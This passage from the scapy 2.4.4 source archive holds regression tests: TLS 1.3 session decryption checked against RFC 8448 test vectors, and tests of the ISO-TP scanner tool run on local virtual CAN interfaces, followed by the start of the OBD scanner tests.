f9 34 b0 00 2b 00 02 03 04 """) t = TLS(helloRetryRequest, tls_session=t.tls_session.mirror()) assert(len(t.msg) == 1) assert(t.msg[0].msgtype == 2) digest = hashes.Hash(hashes.SHA256(), backend=default_backend()) digest.update(b"HelloRetryRequest") assert(t.msg[0].random_bytes == digest.finalize()) assert(t.msg[0].extlen == 132) assert(len(t.msg[0].ext) == 3) e = t.msg[0].ext assert(isinstance(e[0], TLS_Ext_KeyShare_HRR)) assert(e[0].type == 51) assert(e[0].len == 2) assert(e[0].selected_group == 23) assert(isinstance(e[1], TLS_Ext_Cookie)) assert(e[1].type == 44) assert(e[1].len == 116) assert(e[1].cookielen == 114) assert(e[1].cookie == b'q\xdc\xd0K\xb8\x8b\xc3\x18\x91\x199\x8a\x00\x00\x00\x00\xee\xfa\xfcv\xc1F\xb8#\xb0\x96\xf8\xaa\xca\xd3e\xdd\x000\x95?N\xdfbV6\xe5\xf2\x1b\xb2\xe2?\xcceK\x1b[@1\x8d\x10\xd17\xab\xcb\xb8ut\xe3n\x8a\x1f\x02_}\xfa]nPx\x1b^\xdaJ\xa1[\x0c\x8b\xe7x%}\x16\xaa00\xe9\xe7\x84\x1d\xd9\xe4\xc04"g\xe8\xca\x0c\xafW\x1f\xb2\xb7\xcf\xf0\xf94\xb0') assert(isinstance(e[2], TLS_Ext_SupportedVersion_SH)) = Decrypt a TLS 1.3 session with a retry - Parse second ClientHello from scapy.layers.tls.extensions import TLS_Ext_Padding # Values from RFC8448, section 5 secp256_clt_pub = clean(""" 04 a6 da 73 92 ec 59 1e 17 ab fd 53 59 64 b9 98 94 d1 3b ef b2 21 b3 de f2 eb e3 83 0e ac 8f 01 51 81 26 77 c4 d6 d2 23 7e 85 cf 01 d6 91 0c fb 83 95 4e 76 ba 73 52 83 05 34 15 98 97 e8 06 57 80 """) secp256_clt_priv = clean(""" ab 54 73 46 7e 19 34 6c eb 0a 04 14 e4 1d a2 1d 4d 24 45 bc 30 25 af e9 7c 4e 8d c8 d5 13 da 39 """) clientHello2 = clean(""" 16 03 03 02 00 01 00 01 fc 03 03 b0 b1 c5 a5 aa 37 c5 91 9f 2e d1 d5 c6 ff f7 fc b7 84 97 16 94 5a 2b 8c ee 92 58 a3 46 67 7b 6f 00 00 06 13 01 13 03 13 02 01 00 01 cd 00 00 00 0b 00 09 00 00 06 73 65 72 76 65 72 ff 01 00 01 00 00 0a 00 08 00 06 00 1d 00 17 00 18 00 33 00 47 00 45 00 17 00 41 04 a6 da 73 92 ec 59 1e 17 ab fd 53 59 64 b9 98 94 d1 3b ef b2 21 b3 de f2 eb e3 83 0e ac 8f 01 51 81 26 77 c4 d6 d2 23 7e 85 cf 01 d6 91 0c fb 83 95 4e 76 ba 73 52 83 05 34 15 98 97 e8 06 57 80 00 2b 00 03 02 03 04 00 0d 00 20 00 1e 04 03 05 03 06 03 02 03 08 04 08 05 08 06 04 01 05 01 06 01 02 01 04 02 05 02 06 02 02 02 00 2c 00 74 00 72 71 dc d0 4b b8 8b c3 18 91 19 39 8a 00 00 00 00 ee fa fc 76 c1 46 b8 23 b0 96 f8 aa ca d3 65 dd 00 30 95 3f 4e df 62 56 36 e5 f2 1b b2 e2 3f cc 65 4b 1b 5b 40 31 8d 10 d1 37 ab cb b8 75 74 e3 6e 8a 1f 02 5f 7d fa 5d 6e 50 78 1b 5e da 4a a1 5b 0c 8b e7 78 25 7d 16 aa 30 30 e9 e7 84 1d d9 e4 c0 34 22 67 e8 ca 0c af 57 1f b2 b7 cf f0 f9 34 b0 00 2d 00 02 01 01 00 1c 00 02 40 01 00 15 00 af 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 """) t = TLS(clientHello2, tls_session=t.tls_session.mirror()) assert(len(t.msg) == 1) assert(t.msg[0].msgtype == 1) assert(t.msg[0].extlen == 461) assert(len(t.msg[0].ext) == 10) e = t.msg[0].ext assert(isinstance(e[0], TLS_Ext_ServerName)) assert(isinstance(e[1], TLS_Ext_RenegotiationInfo)) assert(isinstance(e[2], TLS_Ext_SupportedGroups)) assert(isinstance(e[3],TLS_Ext_KeyShare_CH)) assert(len(e[3].client_shares) == 1) assert(e[3].client_shares[0].group == 23) assert(e[3].client_shares[0].key_exchange == secp256_clt_pub) assert(isinstance(e[4], TLS_Ext_SupportedVersion_CH)) assert(isinstance(e[5], TLS_Ext_SignatureAlgorithms)) assert(isinstance(e[6], TLS_Ext_Cookie)) assert(e[6].cookie == b'q\xdc\xd0K\xb8\x8b\xc3\x18\x91\x199\x8a\x00\x00\x00\x00\xee\xfa\xfcv\xc1F\xb8#\xb0\x96\xf8\xaa\xca\xd3e\xdd\x000\x95?N\xdfbV6\xe5\xf2\x1b\xb2\xe2?\xcceK\x1b[@1\x8d\x10\xd17\xab\xcb\xb8ut\xe3n\x8a\x1f\x02_}\xfa]nPx\x1b^\xdaJ\xa1[\x0c\x8b\xe7x%}\x16\xaa00\xe9\xe7\x84\x1d\xd9\xe4\xc04"g\xe8\xca\x0c\xafW\x1f\xb2\xb7\xcf\xf0\xf94\xb0') assert(isinstance(e[7], TLS_Ext_PSKKeyExchangeModes)) assert(e[7].kxmodeslen == 1) assert(len(e[7].kxmodes) == 1) assert(e[7].kxmodes[0] == 1) assert(isinstance(e[8], TLS_Ext_RecordSizeLimit)) assert(isinstance(e[9], TLS_Ext_Padding)) assert(e[9].len == 175) assert(e[9].padding == 175*b'\x00') = Decrypt a TLS 1.3 session with a retry - Parse ServerHello from cryptography.hazmat.primitives.asymmetric.ec import EllipticCurvePrivateNumbers pubnum = t.tls_session.tls13_client_pubshares["secp256r1"].public_numbers() privnum = EllipticCurvePrivateNumbers(pkcs_os2ip(secp256_clt_priv), pubnum) privkey = privnum.private_key(default_backend()) t.tls_session.tls13_client_privshares["secp256r1"] = privkey serverHello = clean(""" 16 03 03 00 7b 02 00 00 77 03 03 bb 34 1d 84 7f d7 89 c4 7c 38 71 72 dc 0c 9b f1 47 fc ca cb 50 43 d8 6c a4 c5 98 d3 ff 57 1b 98 00 13 01 00 00 4f 00 33 00 45 00 17 00 41 04 58 3e 05 4b 7a 66 67 2a e0 20 ad 9d 26 86 fc c8 5b 5a d4 1a 13 4a 0f 03 ee 72 b8 93 05 2b d8 5b 4c 8d e6 77 6f 5b 04 ac 07 d8 35 40 ea b3 e3 d9 c5 47 bc 65 28 c4 31 7d 29 46 86 09 3a 6c ad 7d 00 2b 00 02 03 04 """) t = TLS(serverHello, tls_session=t.tls_session.mirror()) assert(len(t.msg) == 1) assert(isinstance(t.msg[0], TLS13ServerHello)) assert(len(t.msg[0].ext) == 2) e = t.msg[0].ext assert(isinstance(e[0], TLS_Ext_KeyShare_SH)) assert(e[0].server_share.group == 23) assert(e[0].server_share.key_exchange == secp256_srv_pub) assert(isinstance(e[1], TLS_Ext_SupportedVersion_SH)) = Decrypt a TLS 1.3 session with a retry - Handshake traffic secret derivation # Values from RFC8448, section 5 early_secret = clean(""" 33 ad 0a 1c 60 7e c0 3b 09 e6 cd 98 93 68 0c e2 10 ad f3 00 aa 1f 26 60 e1 b2 2e 10 f1 70 f9 2a """) ecdhe_secret = clean(""" c1 42 ce 13 ca 11 b5 c2 23 36 52 e6 3a d3 d9 78 44 f1 62 1f bf b9 de 69 d5 47 dc 8f ed ea be b4 """) handshake_secret = clean(""" ce 02 2e 5e 6e 81 e5 07 36 d7 73 f2 d3 ad fc e8 22 0d 04 9b f5 10 f0 db fa c9 27 ef 42 43 b1 48 """) client_handshake_traffic_secret = clean(""" 15 8a a7 ab 88 55 07 35 82 b4 1d 67 4b 40 55 ca bc c5 34 72 8f 65 93 14 86 1b 4e 08 e2 01 15 66 """) server_handshake_traffic_secret = clean(""" 34 03 e7 81 e2 af 7b 65 08 da 28 57 4f 6e 95 a1 ab f1 62 de 83 a9 79 27 c3 76 72 a4 a0 ce f8 a1 """) assert(len(t.tls_session.tls13_derived_secrets) == 5) assert(t.tls_session.tls13_early_secret is not None) assert(t.tls_session.tls13_early_secret == early_secret) assert(t.tls_session.tls13_dhe_secret == ecdhe_secret) assert(t.tls_session.tls13_handshake_secret is not None) assert(t.tls_session.tls13_handshake_secret == handshake_secret) assert( 'client_handshake_traffic_secret' in t.tls_session.tls13_derived_secrets) assert( t.tls_session.tls13_derived_secrets['client_handshake_traffic_secret'] == client_handshake_traffic_secret) assert( 'server_handshake_traffic_secret' in t.tls_session.tls13_derived_secrets) assert(t.tls_session.tls13_derived_secrets['server_handshake_traffic_secret'] == server_handshake_traffic_secret) = Decrypt a TLS 1.3 session with a retry - Server handshake traffic key calculation # Values from RFC8448, section 5 server_hs_traffic_key = clean(""" 46 46 bf ac 17 12 c4 26 cd 78 d8 a2 4a 8a 6f 6b """) server_hs_traffic_iv = clean(""" c7 d3 95 c0 8d 62 f2 97 d1 37 68 ea """) assert(t.tls_session.prcs.cipher.key == server_hs_traffic_key) assert(t.tls_session.prcs.cipher.fixed_iv == server_hs_traffic_iv) = Decrypt a TLS 1.3 session with a retry - Decrypt and parse server handshake # Values from RFC8448, section 5 serverEncHS = clean(""" 17 03 03 02 96 99 be e2 0b af 5b 7f c7 27 bf ab 62 23 92 8a 38 1e 6d 0c f9 c4 da 65 3f 9d 2a 7b 23 f7 de 11 cc e8 42 d5 cf 75 63 17 63 45 0f fb 8b 0c c1 d2 38 e6 58 af 7a 12 ad c8 62 43 11 4a b1 4a 1d a2 fa e4 26 21 ce 48 3f b6 24 2e ab fa ad 52 56 6b 02 b3 1d 2e dd ed ef eb 80 e6 6a 99 00 d5 f9 73 b4 0c 4f df 74 71 9e cf 1b 68 d7 f9 c3 b6 ce b9 03 ca 13 dd 1b b8 f8 18 7a e3 34 17 e1 d1 52 52 2c 58 22 a1 a0 3a d5 2c 83 8c 55 95 3d 61 02 22 87 4c ce 8e 17 90 b2 29 a2 aa 0b 53 c8 d3 77 ee 72 01 82 95 1d c6 18 1d c5 d9 0b d1 f0 10 5e d1 e8 4a a5 f7 59 57 c6 66 18 97 07 9e 5e a5 00 74 49 e3 19 7b dc 7c 9b ee ed dd ea fd d8 44 af a5 c3 15 ec fe 65 e5 76 af e9 09 81 28 80 62 0e c7 04 8b 42 d7 f5 c7 8d 76 f2 99 d6 d8 25 34 bd d8 f5 12 fe bc 0e d3 81 4a ca 47 0c d8 00 0d 3e 1c b9 96 2b 05 2f bb 95 0d f6 83 a5 2c 2b a7 7e d3 71 3b 12 29 37 a6 e5 17 09 64 e2 ab 79 69 dc d9 80 b3 db 9b 45 8d a7 60 31 24 d6 dc 00 5e 4d 6e 04 b4 d0 c4 ba f3 27 5d b8 27 db ba 0a 6d b0 96 72 17 1f c0 57 b3 85 1d 7e 02 68 41 e2 97 8f bd 23 46 bb ef dd 03 76 bb 11 08 fe 9a cc 92 18 9f 56 50 aa 5e 85 d8 e8 c7 b6 7a c5 10 db a0 03 d3 d7 e1 63 50 bb 66 d4 50 13 ef d4 4c 9b 60 7c 0d 31 8c 4c 7d 1a 1f 5c bc 57 e2 06 11 80 4e 37 87 d7 b4 a4 b5 f0 8e d8 fd 70 bd ae ad e0 22 60 b1 2a b8 42 ef 69 0b 4a 3e e7 91 1e 84 1b 37 4e cd 5e bb bc 2a 54 d0 47 b6 00 33 6d d7 d0 c8 8b 4b c1 0e 58 ee 6c b6 56 de 72 47 fa 20 d8 e9 1d eb 84 62 86 08 cf 80 61 5b 62 e9 6c 14 91 c7 ac 37 55 eb 69 01 40 5d 34 74 fe 1a c7 9d 10 6a 0c ee 56 c2 57 7f c8 84 80 f9 6c b6 b8 c6 81 b7 b6 8b 53 c1 46 09 39 08 f3 50 88 81 75 bd fb 0b 1e 31 ad 61 e3 0b a0 ad fe 6d 22 3a a0 3c 07 83 b5 00 1a 57 58 7c 32 8a 9a fc fc fb 97 8d 1c d4 32 8f 7d 9d 60 53 0e 63 0b ef d9 6c 0c 81 6e e2 0b 01 00 76 8a e2 a6 df 51 fc 68 f1 72 74 0a 79 af 11 39 8e e3 be 12 52 49 1f a9 c6 93 47 9e 87 7f 94 ab 7c 5f 8c ad 48 02 03 e6 ab 7b 87 dd 71 e8 a0 72 91 13 df 17 f5 ee e8 6c e1 08 d1 d7 20 07 ec 1c d1 3c 85 a6 c1 49 62 1e 77 b7 d7 8d 80 5a 30 f0 be 03 0c 31 5e 54 """) server_finished = clean(""" 88 63 e6 bf b0 42 0a 92 7f a2 7f 34 33 6a 70 ae 42 6e 96 8e 3e b8 84 94 5b 96 85 6d ba 39 76 d1 """) t = TLS13(serverEncHS, tls_session=t.tls_session) assert(t.deciphered_len == 646) assert(len(t.inner.msg) == 4) m = t.inner.msg assert(isinstance(m[0], TLSEncryptedExtensions)) assert(len(m[0].ext) == 3) assert(isinstance(m[0].ext[0], TLS_Ext_SupportedGroups)) assert(isinstance(m[0].ext[1], TLS_Ext_RecordSizeLimit)) assert(isinstance(m[0].ext[2], TLS_Ext_ServerName)) assert(isinstance(m[1], TLS13Certificate)) assert(isinstance(m[2], TLSCertificateVerify)) assert(isinstance(m[3], TLSFinished)) assert(m[3].vdata == server_finished) = Decrypt a TLS 1.3 session with a retry - Client handshake traffic key calculation # Values from RFC8448, section 5 client_hs_traffic_key = clean(""" 2f 1f 91 86 63 d5 90 e7 42 11 49 a2 9d 94 b0 b6 """) client_hs_traffic_iv = clean(""" 41 4d 54 85 23 5e 1a 68 87 93 bd 74 """) assert(t.tls_session.pwcs.cipher.key == client_hs_traffic_key) assert(t.tls_session.pwcs.cipher.fixed_iv == client_hs_traffic_iv) = Decrypt a TLS 1.3 session with a retry - Decrypt and parse client finished # Values from RFC8448, section 5 clientFinished = clean(""" 23 f5 2f db 07 09 a5 5b d7 f7 9b 99 1f 25 48 40 87 bc fd 4d 43 80 b1 23 26 a5 2a 28 b2 e3 68 e1 """) clientEncHS = clean(""" 17 03 03 00 35 d7 4f 19 23 c6 62 fd 34 13 7c 6f 50 2f 3d d2 b9 3d 95 1d 1b 3b c9 7e 42 af e2 3c 31 ab ea 92 fe 91 b4 74 99 9e 85 e3 b7 91 ce 25 2f e8 c3 e9 f9 39 a4 12 0c b2 """) t = TLS13(clientEncHS, tls_session=t.tls_session.mirror()) assert(t.deciphered_len == 37) assert(len(t.inner.msg) == 1) assert(isinstance(t.inner.msg[0], TLSFinished)) assert(t.inner.msg[0].vdata == clientFinished) assert(t.inner.type == 22) = Decrypt a TLS 1.3 session with a retry - Application traffic secret derivation # Values from RFC8448, section 5 master_secret = clean(""" 11 31 54 5d 0b af 79 dd ce 9b 87 f0 69 45 78 1a 57 dd 18 ef 37 8d cd 20 60 f8 f9 a5 69 02 7e d8 """) client_application_traffic_secret_0 = clean(""" 75 ec f4 b9 72 52 5a a0 dc d0 57 c9 94 4d 4c d5 d8 26 71 d8 84 31 41 d7 dc 2a 4f f1 5a 21 dc 51 """) server_application_traffic_secret_0 = clean(""" 5c 74 f8 7d f0 42 25 db 0f 82 09 c9 de 64 29 e4 94 35 fd ef a7 ca d6 18 64 87 4d 12 f3 1c fc 8d """) exporter_master_secret = clean(""" 7c 06 d3 ae 10 6a 3a 37 4a ce 48 37 b3 98 5c ac 67 78 0a 6e 2c 5c 04 b5 83 19 d5 84 df 09 d2 23 """) resumption_master_secret = clean(""" 09 17 0c 6d 47 27 21 56 6f 9c f9 9b 08 69 9d af f5 61 ec 8f b2 2d 5a 32 c3 f9 4c e0 09 b6 99 75 """) assert(t.tls_session.tls13_master_secret is not None) assert(t.tls_session.tls13_master_secret == master_secret) assert(len(t.tls_session.tls13_derived_secrets) == 9) assert('client_traffic_secrets' in t.tls_session.tls13_derived_secrets) assert(len(t.tls_session.tls13_derived_secrets['client_traffic_secrets']) == 1) assert(t.tls_session.tls13_derived_secrets['client_traffic_secrets'][0] == client_application_traffic_secret_0) assert('server_traffic_secrets' in t.tls_session.tls13_derived_secrets) assert(len(t.tls_session.tls13_derived_secrets['server_traffic_secrets']) == 1) assert(t.tls_session.tls13_derived_secrets['server_traffic_secrets'][0] == server_application_traffic_secret_0) assert('exporter_secret' in t.tls_session.tls13_derived_secrets) assert(t.tls_session.tls13_derived_secrets['exporter_secret'] == exporter_master_secret) assert('resumption_secret' in t.tls_session.tls13_derived_secrets) assert(t.tls_session.tls13_derived_secrets['resumption_secret'] == resumption_master_secret) = Decrypt a TLS 1.3 session with a retry - Application traffic keys calculation # Values from RFC8448, section 5 client_ap_traffic_key = clean(""" a7 eb 2a 05 25 eb 43 31 d5 8f cb f9 f7 ca 2e 9c """) client_ap_traffic_iv = clean(""" 86 e8 be 22 7c 1b d2 b3 e3 9c b4 44 """) server_ap_traffic_key = clean(""" f2 7a 5d 97 bd 25 55 0c 48 23 b0 f3 e5 d2 93 88 """) server_ap_traffic_iv = clean(""" 0d d6 31 f7 b7 1c bb c7 97 c3 5f e7 """) assert(t.tls_session.rcs.cipher.key == client_ap_traffic_key) assert(t.tls_session.rcs.cipher.fixed_iv == client_ap_traffic_iv) assert(t.tls_session.wcs.cipher.key == server_ap_traffic_key) assert(t.tls_session.wcs.cipher.fixed_iv == server_ap_traffic_iv) = Decrypt a TLS 1.3 session with a retry - Decrypt and parse client Alert # Values from RFC8448, section 5 clientEncAlert = clean(""" 17 03 03 00 13 2e a6 cd f7 49 19 60 23 e2 b3 a4 94 91 69 55 36 42 60 47 """) t = TLS13(clientEncAlert, tls_session = t.tls_session) assert(t.deciphered_len == 3) assert(len(t.inner.msg) == 1) assert(t.inner.type == 21) m = t.inner.msg[0] assert(isinstance(m, TLSAlert)) assert(m.level == 1) assert(m.descr == 0) = Decrypt a TLS 1.3 session with a retry - Decrypt and parse server Alert # Values from RFC8448, section 5 serverEncAlert = clean(""" 17 03 03 00 13 51 9f c5 07 5c b0 88 43 49 75 9f f9 ef 6f 01 1b b4 c6 f2 """) t = TLS13(serverEncAlert, tls_session = t.tls_session.mirror()) assert(t.deciphered_len == 3) assert(len(t.inner.msg) == 1) assert(t.inner.type == 21) m = t.inner.msg[0] assert(isinstance(m, TLSAlert)) assert(m.level == 1) assert(m.descr == 0) scapy-2.4.4/test/tools/000077500000000000000000000000001372370053500147645ustar00rootroot00000000000000scapy-2.4.4/test/tools/isotpscanner.uts000066400000000000000000000275621372370053500202450ustar00rootroot00000000000000% Regression tests for isotpscanner ~ vcan_socket needs_root linux + Configuration ~ conf = Imports load_layer("can", globals_dict=globals()) import threading, subprocess, sys import scapy.modules.six as six from subprocess import call = Definition of constants, utility functions and mock classes iface0 = "vcan0" iface1 = "vcan1" # function to exit when the can-isotp kernel module is not available ISOTP_KERNEL_MODULE_AVAILABLE = False def exit_if_no_isotp_module(): if not ISOTP_KERNEL_MODULE_AVAILABLE: err = "TEST SKIPPED: can-isotp not available\n" sys.__stderr__.write(err) warning("Can't test ISOTP native socket because kernel module is not loaded") exit(0) = Initialize a virtual CAN interface if 0 != call(["cansend", iface0, "000#"]): # vcan0 is not enabled if 0 != call(["sudo", "modprobe", "vcan"]): raise Exception("modprobe vcan failed") if 0 != call(["sudo", "ip", "link", "add", "name", iface0, "type", "vcan"]): print("add %s failed: Maybe it was already up?" % iface0) if 0 != call(["sudo", "ip", "link", "set", "dev", iface0, "up"]): raise Exception("could not bring up %s" % iface0) if 0 != call(["cansend", iface0, "000#"]): raise Exception("cansend doesn't work") if 0 != call(["cansend", iface1, "000#"]): # vcan1 is not enabled if 0 != call(["sudo", "modprobe", "vcan"]): raise Exception("modprobe vcan failed") if 0 != call(["sudo", "ip", "link", "add", "name", iface1, "type", "vcan"]): print("add %s failed: Maybe it was already up?" % iface1) if 0 != call(["sudo", "ip", "link", "set", "dev", iface1, "up"]): raise Exception("could not bring up %s" % iface1) if 0 != call(["cansend", iface1, "000#"]): raise Exception("cansend doesn't work") print("CAN should work now") if six.PY3 and not conf.use_pypy: from scapy.contrib.cansocket_native import * else: from scapy.contrib.cansocket_python_can import * if "python_can" in CANSocket.__module__: new_can_socket = lambda iface: CANSocket(bustype='socketcan', channel=iface) new_can_socket0 = lambda: CANSocket(bustype='socketcan', channel=iface0, timeout=0.01) new_can_socket1 = lambda: CANSocket(bustype='socketcan', channel=iface1, timeout=0.01) can_socket_string_list = ["-i", "socketcan", "-c", iface0, "-a", "bitrate=250000"] else: new_can_socket = lambda iface: CANSocket(iface) new_can_socket0 = lambda: CANSocket(iface0) new_can_socket1 = lambda: CANSocket(iface1) can_socket_string_list = ["-c", iface0] # utility function for draining a can interface, asserting that no packets are there def drain_bus(iface=iface0, assert_empty=True): with new_can_socket(iface) as s: pkts = s.sniff(timeout=0.1) if assert_empty: assert len(pkts) == 0 print("CAN sockets should work now") = Verify that a CAN socket can be created and closed s = new_can_socket(iface0) s.close() = Check if can-isotp and can-utils are installed on this system p1 = subprocess.Popen(['lsmod'], stdout = subprocess.PIPE) p2 = subprocess.Popen(['grep', '^can_isotp'], stdout = subprocess.PIPE, stdin=p1.stdout) p1.stdout.close() if p1.wait() == 0 and p2.wait() == 0 and b"can_isotp" in p2.stdout.read(): p = subprocess.Popen(["isotpsend", "-s1", "-d0", iface0], stdin = subprocess.PIPE) p.communicate(b"01") if p.returncode == 0: ISOTP_KERNEL_MODULE_AVAILABLE = True + Syntax check = Import isotp conf.contribs['ISOTP'] = {'use-can-isotp-kernel-module': ISOTP_KERNEL_MODULE_AVAILABLE} load_contrib("isotp", globals_dict=globals()) ISOTPSocket = ISOTPSoftSocket + Usage tests = Test wrong usage result = subprocess.Popen([sys.executable, "scapy/tools/automotive/isotpscanner.py"], stdout=subprocess.PIPE, stderr=subprocess.PIPE) std_out, std_err = result.communicate() if result.returncode: print(std_out) print(std_err) assert result.returncode != 0 expected_output = plain_str(b'usage:') assert expected_output in plain_str(std_err) = Test show help result = subprocess.Popen([sys.executable, "scapy/tools/automotive/isotpscanner.py", "--help"], stdout=subprocess.PIPE, stderr=subprocess.PIPE) std_out, _ = result.communicate() expected_output = plain_str(b'Scan for open ISOTP-Sockets.') assert result.wait() == 0 assert expected_output in plain_str(std_out) = Test wrong socket for Python2 or Windows if six.PY2: version = subprocess.Popen(["python2", "--version"], stdout=subprocess.PIPE) if 0 == version.wait(): print(version.communicate()) result = subprocess.Popen([sys.executable, "scapy/tools/automotive/isotpscanner.py", "-c", iface0, "-s", "0x600", "-e", "0x600"], stdout=subprocess.PIPE, stderr=subprocess.PIPE) expected_output = plain_str(b'Please provide all required arguments.') std_out, std_err = result.communicate() assert result.wait() == 1 assert expected_output in plain_str(std_err) = Test Python2 call result = subprocess.Popen([sys.executable, "scapy/tools/automotive/isotpscanner.py", "-i", "socketcan", "-c", iface0, "-s", "0x600", "-e", "0x600", "-v"], stdout=subprocess.PIPE, stderr=subprocess.PIPE) returncode = result.wait() expected_output = plain_str(b'Start scan') std_out, std_err = result.communicate() print(std_out) print("%s" % std_err) print(expected_output) assert returncode == 0 assert expected_output in plain_str(std_out) = Test Python2 call with one python-can arg result = subprocess.Popen([sys.executable, "scapy/tools/automotive/isotpscanner.py", "-i", "socketcan", "-c", iface0, "-a", "bitrate=500000", "-s", "0x600", "-e", "0x600", "-v"], stdout=subprocess.PIPE, stderr=subprocess.PIPE) returncode = result.wait() print(returncode) expected_output = plain_str(b'Start scan') std_out, std_err = result.communicate() print(std_out) print("%s" % std_err) print(expected_output) assert returncode == 0 assert expected_output in plain_str(std_out) = Test Python2 call with multiple python-can args result = subprocess.Popen([sys.executable, "scapy/tools/automotive/isotpscanner.py", "-i", "socketcan", "-c", iface0, "-a", "bitrate=500000 receive_own_messages=True", "-s", "0x600", "-e", "0x600", "-v"], stdout=subprocess.PIPE, stderr=subprocess.PIPE) returncode = result.wait() print(returncode) expected_output = plain_str(b'Start scan') std_out, std_err = result.communicate() print(std_out) print("%s" % std_err) print(expected_output) assert returncode == 0 assert expected_output in plain_str(std_out) = Test Python2 call with multiple python-can args 2 result = subprocess.Popen([sys.executable, "scapy/tools/automotive/isotpscanner.py", "-i", "socketcan", "-c", iface0, "--python-can_args", "bitrate=500000 receive_own_messages=True", "-s", "0x600", "-e", "0x600", "-v"], stdout=subprocess.PIPE, stderr=subprocess.PIPE) returncode = result.wait() print(returncode) expected_output = plain_str(b'Start scan') std_out, std_err = result.communicate() print(std_out) print("%s" % std_err) print(expected_output) assert returncode == 0 assert expected_output in plain_str(std_out) + Scan tests = Test standard scan drain_bus(iface0) started = threading.Event() def isotpserver(): with new_can_socket(iface0) as isocan, ISOTPSocket(isocan, sid=0x700, did=0x600) as s: s.sniff(timeout=200, count=1, started_callback=started.set) sniffer = threading.Thread(target=isotpserver) sniffer.start() started.wait(timeout=10) result = subprocess.Popen([sys.executable, "scapy/tools/automotive/isotpscanner.py"] + can_socket_string_list + ["-s", "0x600", "-e", "0x600"], stdout=subprocess.PIPE, stderr=subprocess.PIPE) returncode1 = result.wait() std_out1, std_err1 = result.communicate() result = subprocess.Popen([sys.executable, "scapy/tools/automotive/isotpscanner.py"] + can_socket_string_list + ["-s", "0x600", "-e", "0x600"], stdout=subprocess.PIPE, stderr=subprocess.PIPE) returncode2 = result.wait() std_out2, std_err2 = result.communicate() send_returncode = subprocess.call(['cansend', iface0, '600#01aa']) sniffer.join(timeout=10) assert 0 == send_returncode assert returncode1 == 0 assert returncode2 == 0 expected_output = [b'0x600', b'0x700'] for out in expected_output: assert plain_str(out) in plain_str(std_out1 + std_out2) = Test extended scan drain_bus(iface0) started = threading.Event() def isotpserver(): with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x700, did=0x601, extended_addr=0xaa, extended_rx_addr=0xbb) as s: s.sniff(timeout=200, count=1, started_callback=started.set) sniffer = threading.Thread(target=isotpserver) sniffer.start() started.wait(timeout=10) result = subprocess.Popen([sys.executable, "scapy/tools/automotive/isotpscanner.py"] + can_socket_string_list + ["-s", "0x601", "-e", "0x601", "-x"], stdout=subprocess.PIPE) returncode1 = result.wait() std_out1, std_err1 = result.communicate() result = subprocess.Popen([sys.executable, "scapy/tools/automotive/isotpscanner.py"] + can_socket_string_list + ["-s", "0x601", "-e", "0x601", "-x"], stdout=subprocess.PIPE) returncode2 = result.wait() std_out2, std_err2 = result.communicate() send_returncode = subprocess.call(['cansend', iface0, '601#BB01aa']) sniffer.join(timeout=10) expected_output = [b'0x601', b'0xbb', b'0x700', b'0xaa'] assert 0 == send_returncode assert returncode1 == 0 assert returncode2 == 0 for out in expected_output: assert plain_str(out) in plain_str(std_out1 + std_out2) = Test extended only scan drain_bus(iface0) started = threading.Event() def isotpserver(): with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x700, did=0x601, extended_addr=0xaa, extended_rx_addr=0xbb) as s: s.sniff(timeout=200, count=1, started_callback=started.set) sniffer = threading.Thread(target=isotpserver) sniffer.start() started.wait(timeout=10) result = subprocess.Popen([sys.executable, "scapy/tools/automotive/isotpscanner.py"] + can_socket_string_list + ["-s", "0x601", "-e", "0x601", "-x"], stdout=subprocess.PIPE) returncode1 = result.wait() std_out1, std_err1 = result.communicate() result = subprocess.Popen([sys.executable, "scapy/tools/automotive/isotpscanner.py"] + can_socket_string_list + ["-s", "0x601", "-e", "0x601", "-x"], stdout=subprocess.PIPE) returncode2 = result.wait() std_out2, std_err2 = result.communicate() send_returncode = subprocess.call(['cansend', iface0, '601#BB01aa']) sniffer.join(timeout=10) expected_output = [b'0x601', b'0xbb', b'0x700', b'0xaa'] assert 0 == send_returncode assert returncode1 == 0 assert returncode2 == 0 for out in expected_output: assert plain_str(out) in plain_str(std_out1 + std_out2) = Test scan with piso flag drain_bus(iface0) started = threading.Event() def isotpserver(): with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x700, did=0x601, extended_addr=0xaa, extended_rx_addr=0xbb) as s: s.sniff(timeout=200, count=1, started_callback=started.set) sniffer = threading.Thread(target=isotpserver) sniffer.start() started.wait(timeout=10) result = subprocess.Popen([sys.executable, "scapy/tools/automotive/isotpscanner.py"] + can_socket_string_list + ["-s", "0x601", "-e", "0x601", "-x", "-C"], stdout=subprocess.PIPE) returncode1 = result.wait() std_out1, std_err1 = result.communicate() result = subprocess.Popen([sys.executable, "scapy/tools/automotive/isotpscanner.py"] + can_socket_string_list + ["-s", "0x601", "-e", "0x601", "-x", "-C"], stdout=subprocess.PIPE) returncode2 = result.wait() std_out2, std_err2 = result.communicate() send_returncode = subprocess.call(['cansend', iface0, '601#BB01aa']) sniffer.join(timeout=10) assert 0 == send_returncode assert returncode1 == 0 == returncode2 expected_output = [b'sid=0x601', b'did=0x700', b'padding=False', b'extended_addr=0xbb', b'extended_rx_addr=0xaa'] for out in expected_output: assert plain_str(out) in plain_str(std_out1 + std_out2) + Cleanup = Cleanup if 0 != call(["sudo", "ip", "link", "delete", "vcan0"]): raise Exception("vcan0 could not be deleted") if 0 != call(["sudo", "ip", "link", "delete", "vcan1"]): raise Exception("vcan1 could not be deleted") scapy-2.4.4/test/tools/obdscanner.uts000066400000000000000000000363101372370053500176420ustar00rootroot00000000000000% Regression tests for obdscanner ~ vcan_socket needs_root linux + Configuration ~ conf = Imports load_layer("can", globals_dict=globals()) import scapy.modules.six as six import subprocess, sys from subprocess import call from scapy.contrib.automotive.ecu import * print("Set delay to lower utilization") 